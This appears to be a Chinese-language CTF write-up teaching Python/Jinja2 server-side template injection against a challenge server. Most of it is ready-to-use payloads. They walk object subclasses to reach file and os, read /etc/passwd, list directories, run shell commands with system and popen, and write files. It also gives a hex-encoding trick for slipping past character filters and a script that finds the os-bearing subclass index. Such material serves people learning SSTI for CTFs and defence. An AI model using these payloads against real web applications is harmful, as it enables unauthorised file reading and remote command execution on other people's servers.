Python模块注入-SSTI
python模块注入-SSTI
- 打开页面(看到python template injection应该是python模块注入)
- 测试一下
http://111.200.241.244:61392/{{3*4}}
发现成功运行了结果(当然加法,除法都一样,主要判断能不能执行我们的代码语句)
- 在这里我先介绍一下几种常用于SSTI的魔术方法
__class__ 返回类型所属的对象
__mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__ 返回该对象所继承的基类
// __base__和__mro__都是用来寻找基类的
__subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__ 类的初始化方法
__globals__ 对包含函数全局变量的字典的引用
__builtins__ builtins即是引用,Python程序一旦启动,它就会在程序员所写的代码没有运行之前就已经被加载到内存中了,而对于builtins却不用导入,它在任何模块都直接可见,所以可以直接调用引用的模块
-
获取基类的几种方法
[].__class__.__base__ ''.__class__.__mro__[2] ().__class__.__base__ {}.__class__.__base__ request.__class__.__mro__[8] //针对jinjia2/flask为[9]适用 或者 [].__class__.__bases__[0] //其他的类似 **注意:如果._'这些被过滤了,可以用16进制编码绕过!!!** 例如:{{()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbases\x5f\x5f"][0]["\x5f\x5fsubclasses\x5f\x5f"]()}} 特别注意用16进制编码之后里面要加"
-
获取基本类的子类
[].__class__.__base__.__subclasses__()
- 我们尝试获取基类(发现一个为 ‘object’ 的类)
- 我们尝试基类的子类
SSTI的主要目的就是从这么多子类中找出可以利用的类(一般是指读写文件的类)加以利用
那么我们能利用的类有哪些呢?
我们可以利用的方法有<type 'file'>等,(一般file在第40号)
-
我们尝试读取/etc/passwd文件
{{[].__class__.__base__.__subclasses__()[40]('/etc/passwd').read()}}
上面的例子看到我们用 file 读取了/etc/passwd ,但是如果想要读取目录怎么办
那么我们可以寻找万能的os模块(这里可以写脚本遍历寻找,也可以自己慢慢数,一般大概71号,或者可以Ctrl+F在网页搜索 '<' ,因为是从0开始,所以大概第72个就是)
#!/usr/bin/env python
# encoding: utf-8
num = 0
for item in ''.__class__.__mro__[2].__subclasses__():
try:
if 'os' in item.__init__.__globals__:
print num,item
num+=1
except:
print '-'
num+=1
//这是脚本
找到这个对应的编号就对了
-
然后我们直接调用就好,可以调用system函数,有了shell其他问题就解决了
().__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].system('ls')
当然,在某些情况下system函数会被过滤,这时候也可以采用os模块的 listdir 函数来读取目录。(可以配合file来实现文件读取)
().__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].listdir('.') #读取本级目录
另外在某些不得以的情况下可以使用以下方式来读取文件。(目前没见过这种情况)
方法一:
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').read() #把 read() 改为 write() 就是写文件
方法二:
存在的子模块可以通过.index()方式来查询
>>>''.__class__.__mro__[2].__subclasses__().index(file) 40 //查询结果40
用file模块来查询
>>> [].__class__.__base__.__subclasses__()[40]('/etc/passwd').read()
-
以下是非常常用的payload:
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('catfl4g').read() ''.__class__.__mro__[2].__subclasses__() [71].__init__.__globals__['os'].system('ls') ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()
文章引用:
https://www.cnblogs.com/wjw-zm/p/12741047.html